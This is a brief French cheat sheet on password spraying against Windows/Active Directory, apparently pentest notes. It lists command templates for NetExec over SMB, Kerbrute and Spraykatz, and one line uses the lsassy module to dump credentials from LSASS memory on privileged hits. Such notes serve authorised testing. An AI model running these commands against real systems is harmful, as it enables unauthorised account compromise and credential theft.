Password spraying

NetExec (ex CrackMapExec)

nxc smb <IP> -u <USERLIST> -p <PASSWORDLIST>
# S'il s'agit d'un compte à privilege
nxc smb <IP> -u <USERLIST> -p <PASSWORDLIST> -M lsassy

Ressources :

Kerbrute

kerbrute passwordspray --dc <dc_ip> -d <domaine> <USERLIST> <PASSWORD>

Spraykatz

spraykatz.py -u <USERNAME> -p <PASSWORD> -t <NET CIDR>